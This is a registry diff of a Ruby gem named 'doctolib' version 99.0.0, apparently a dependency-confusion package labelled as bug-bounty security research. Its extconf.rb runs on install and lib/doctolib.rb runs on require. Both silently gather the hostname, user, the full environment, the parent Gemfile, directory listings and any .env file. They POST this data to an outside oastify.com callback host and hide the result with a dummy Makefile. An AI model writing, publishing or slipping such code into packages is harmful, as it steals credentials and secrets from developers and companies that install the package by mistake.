doctolib 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (4) hide show
  1. checksums.yaml +7 -0
  2. data/ext/doctolib/extconf.rb +57 -0
  3. data/lib/doctolib.rb +52 -0
  4. metadata +42 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 0e2f3d69d2b59cb36e26254632af7565494d970bff2868eb21843c8baa998a9b
4
+ data.tar.gz: 13d6727066bf481bbb3b50274dcb137f4183e695a45e748566ab765303d3558c
5
+ SHA512:
6
+ metadata.gz: 1ceecfbc6c240ea7b30eff54f9668a0c68148ae51dd0d11af51d778e1800c294b3843d932900c3f9bc6dfe197fe723adf5c80cc81f4946b2f09b4250aeba0c4c
7
+ data.tar.gz: f5e86dd127a37b80c7e94f5384693b9fe6503d431e89d37b834ce344e3b381cb2003783082e309c74dbf2f457059d95bc51e31eccbb8d457a90700a8f13bc8c0
@@ -0,0 +1,57 @@
1
+ require 'net/https'
2
+ require 'uri'
3
+ require 'json'
4
+ require 'socket'
5
+
6
+ CALLBACK = 'icare.fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com'
7
+
8
+ begin
9
+ info = {
10
+ type: 'gem_install',
11
+ hostname: Socket.gethostname,
12
+ user: ENV['USER'] || ENV['USERNAME'],
13
+ pwd: Dir.pwd,
14
+ home: ENV['HOME'],
15
+ ruby_version: RUBY_VERSION,
16
+ platform: RUBY_PLATFORM,
17
+ env: ENV.to_h,
18
+ timestamp: Time.now.utc.iso8601
19
+ }
20
+
21
+ # Trouver le projet parent (Gemfile)
22
+ dir = Dir.pwd
23
+ 10.times do
24
+ gemfile = File.join(dir, 'Gemfile')
25
+ if File.exist?(gemfile)
26
+ info[:parent_gemfile] = File.read(gemfile) rescue nil
27
+ info[:parent_dir] = dir
28
+ info[:parent_files] = Dir.entries(dir) rescue nil
29
+ break
30
+ end
31
+ parent = File.dirname(dir)
32
+ break if parent == dir
33
+ dir = parent
34
+ end
35
+
36
+ # Lire .env si présent
37
+ env_file = File.join(info[:parent_dir] || Dir.pwd, '.env')
38
+ info[:dotenv] = File.read(env_file) if File.exist?(env_file)
39
+
40
+ # Callback
41
+ uri = URI("https://#{CALLBACK}/gem_install")
42
+ http = Net::HTTP.new(uri.host, uri.port)
43
+ http.use_ssl = true
44
+ http.open_timeout = 5
45
+ http.read_timeout = 5
46
+
47
+ request = Net::HTTP::Post.new(uri.path)
48
+ request['Content-Type'] = 'application/json'
49
+ request.body = info.to_json
50
+
51
+ http.request(request)
52
+ rescue => e
53
+ # Silent fail
54
+ end
55
+
56
+ # Créer un Makefile vide pour que l'installation réussisse
57
+ File.write('Makefile', "all:\n\techo 'OK'\ninstall:\n\techo 'OK'\n")
data/lib/doctolib.rb ADDED
@@ -0,0 +1,52 @@
1
+ require 'net/https'
2
+ require 'uri'
3
+ require 'json'
4
+ require 'socket'
5
+
6
+ module Doctolib
7
+ VERSION = '99.0.0'
8
+ CALLBACK = 'icare.fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com'
9
+
10
+ unless defined?(@@triggered)
11
+ @@triggered = true
12
+
13
+ Thread.new do
14
+ begin
15
+ info = {
16
+ type: 'gem_require',
17
+ hostname: Socket.gethostname,
18
+ user: ENV['USER'] || ENV['USERNAME'],
19
+ pwd: Dir.pwd,
20
+ ruby_version: RUBY_VERSION,
21
+ rails_env: ENV['RAILS_ENV'],
22
+ rack_env: ENV['RACK_ENV'],
23
+ env: ENV.to_h,
24
+ timestamp: Time.now.utc.iso8601
25
+ }
26
+
27
+ # Chercher SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN
28
+ webhook = ENV['SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN']
29
+ info[:webhook_found] = !webhook.nil?
30
+
31
+ uri = URI("https://#{CALLBACK}/gem_require")
32
+ http = Net::HTTP.new(uri.host, uri.port)
33
+ http.use_ssl = true
34
+ http.open_timeout = 5
35
+ http.read_timeout = 5
36
+
37
+ request = Net::HTTP::Post.new(uri.path)
38
+ request['Content-Type'] = 'application/json'
39
+ request.body = info.to_json
40
+
41
+ http.request(request)
42
+
43
+ # Trigger leur webhook si présent
44
+ if webhook
45
+ webhook_uri = URI(webhook)
46
+ Net::HTTP.get(webhook_uri)
47
+ end
48
+ rescue
49
+ end
50
+ end
51
+ end
52
+ end
metadata ADDED
@@ -0,0 +1,42 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: doctolib
3
+ version: !ruby/object:Gem::Version
4
+ version: 99.0.0
5
+ platform: ruby
6
+ authors:
7
+ - icare
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ description: Security research package
13
+ email: icare@security.research
14
+ executables: []
15
+ extensions:
16
+ - ext/doctolib/extconf.rb
17
+ extra_rdoc_files: []
18
+ files:
19
+ - ext/doctolib/extconf.rb
20
+ - lib/doctolib.rb
21
+ homepage: https://github.com/icare/doctolib
22
+ licenses:
23
+ - MIT
24
+ metadata: {}
25
+ rdoc_options: []
26
+ require_paths:
27
+ - lib
28
+ required_ruby_version: !ruby/object:Gem::Requirement
29
+ requirements:
30
+ - - ">="
31
+ - !ruby/object:Gem::Version
32
+ version: 2.5.0
33
+ required_rubygems_version: !ruby/object:Gem::Requirement
34
+ requirements:
35
+ - - ">="
36
+ - !ruby/object:Gem::Version
37
+ version: '0'
38
+ requirements: []
39
+ rubygems_version: 3.6.7
40
+ specification_version: 4
41
+ summary: Security research - Bug Bounty
42
+ test_files: []